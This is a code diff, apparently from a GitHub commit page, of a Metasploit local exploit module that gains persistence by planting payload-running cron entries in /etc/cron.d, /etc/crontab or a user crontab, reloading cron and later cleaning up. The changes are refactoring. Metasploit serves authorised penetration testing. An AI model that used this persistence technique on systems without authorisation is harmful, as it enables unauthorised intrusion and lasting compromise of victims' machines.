3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
- require 'msf/core'
7
- require 'msf/core/post/file'
8
-
9
6
class MetasploitModule < Msf ::Exploit ::Local
10
7
Rank = ExcellentRanking
11
8
@@ -31,15 +28,15 @@ def initialize(info = {})
31
28
'Platform' => [ 'unix' , 'linux' ] ,
32
29
'Targets' =>
33
30
[
34
- [ 'Cron' , { ' path' => '/etc/cron.d' } ] ,
35
- [ 'User Crontab' , { ' path' => '/var/spool/cron' } ] ,
36
- [ 'System Crontab' , { ' path' => '/etc' } ]
31
+ [ 'Cron' , { : path => '/etc/cron.d' } ] ,
32
+ [ 'User Crontab' , { : path => '/var/spool/cron' } ] ,
33
+ [ 'System Crontab' , { : path => '/etc' } ]
37
34
] ,
38
35
'DefaultTarget' => 1 ,
39
36
'Arch' => ARCH_CMD ,
40
37
'Payload' =>
41
38
{
42
- 'BadChars' => "#%\x10 \x13 " , # % always seems to fail, # is for comments
39
+ 'BadChars' => "#%\x10 \x13 " , # is for comments, % is for newline
43
40
'Compat' =>
44
41
{
45
42
'PayloadType' => 'cmd' ,
@@ -68,11 +65,11 @@ def exploit
68
65
cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
69
66
cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
70
67
# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
71
- unless datastore [ 'TIMING' ] =~ %r{ #{ cron_regex } }
68
+ unless datastore [ 'TIMING' ] =~ / #{ cron_regex } /
72
69
fail_with ( Failure ::BadConfig , 'Invalid timing format' )
73
70
end
74
71
cron_entry = datastore [ 'TIMING' ]
75
- if target . name =~ / User Crontab/
72
+ if target . name . include? ' User Crontab'
76
73
unless user_cron_permission? ( datastore [ 'USERNAME' ] )
77
74
fail_with ( Failure ::NoAccess , 'User denied cron via cron.deny' )
78
75
end
@@ -84,32 +81,34 @@ def exploit
84
81
case target . name
85
82
when 'Cron'
86
83
our_entry = Rex ::Text . rand_text_alpha ( 10 )
87
- write_file ( target . opts [ ' path' ] + " /#{ our_entry } ", "#{ cron_entry } \n " )
88
- vprint_good ( "Writing #{ cron_entry } to #{ target . opts [ ' path' ] } /#{ our_entry } " )
84
+ write_file ( " #{ target . opts [ : path] } /#{ our_entry } ", "#{ cron_entry } \n " )
85
+ vprint_good ( "Writing #{ cron_entry } to #{ target . opts [ : path] } /#{ our_entry } " )
89
86
if datastore [ 'CLEANUP' ]
90
- register_file_for_cleanup ( "#{ target . opts [ ' path' ] } /#{ our_entry } " )
87
+ register_file_for_cleanup ( "#{ target . opts [ : path] } /#{ our_entry } " )
91
88
end
92
89
when 'System Crontab'
93
- file_to_clean = "#{ target . opts [ ' path' ] } /crontab"
90
+ file_to_clean = "#{ target . opts [ : path] } /crontab"
94
91
append_file ( file_to_clean , "\n #{ cron_entry } \n " )
95
92
vprint_good ( "Writing #{ cron_entry } to #{ file_to_clean } " )
96
93
when 'User Crontab'
97
- file_to_clean = "#{ target . opts [ ' path' ] } /crontabs/#{ datastore [ 'USERNAME' ] } "
94
+ file_to_clean = "#{ target . opts [ : path] } /crontabs/#{ datastore [ 'USERNAME' ] } "
98
95
append_file ( file_to_clean , "\n #{ cron_entry } \n " )
99
96
vprint_good ( "Writing #{ cron_entry } to #{ file_to_clean } " )
100
- # at least on ubuntu, we need to restart cron to get this to work
97
+ # at least on ubuntu, we need to reload cron to get this to work
101
98
vprint_status ( 'Reloading cron to pickup new entry' )
102
- cmd_exec ( "service cron restart " )
99
+ cmd_exec ( "service cron reload " )
103
100
end
104
101
print_status ( "Waiting #{ datastore [ 'WfsDelay' ] } sec for execution" )
105
- sleep ( datastore [ 'WfsDelay' ] . to_i )
102
+ Rex . sleep ( datastore [ 'WfsDelay' ] . to_i )
106
103
# we may need to do some cleanup, no need for cron since that uses file dropper
107
104
# we could run this on a on_successful_session, but we want cleanup even if it fails
108
105
if file_to_clean && flag && datastore [ 'CLEANUP' ]
109
106
print_status ( "Removing our cron entry from #{ file_to_clean } " )
110
- cmd_exec ( "perl -pi -e 's/.*#{ flag } $//g' #{ file_to_clean } " )
107
+ cmd_exec ( "sed '/#{ flag } $/d' #{ file_to_clean } > #{ file_to_clean } .new" )
108
+ cmd_exec ( "mv #{ file_to_clean } .new #{ file_to_clean } " )
109
+ # replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed
111
110
if target . name == 'User Crontab' # make sure we clean out of memory
112
- cmd_exec ( "service cron restart " )
111
+ cmd_exec ( "service cron reload " )
113
112
end
114
113
end
115
114
end
0 commit comments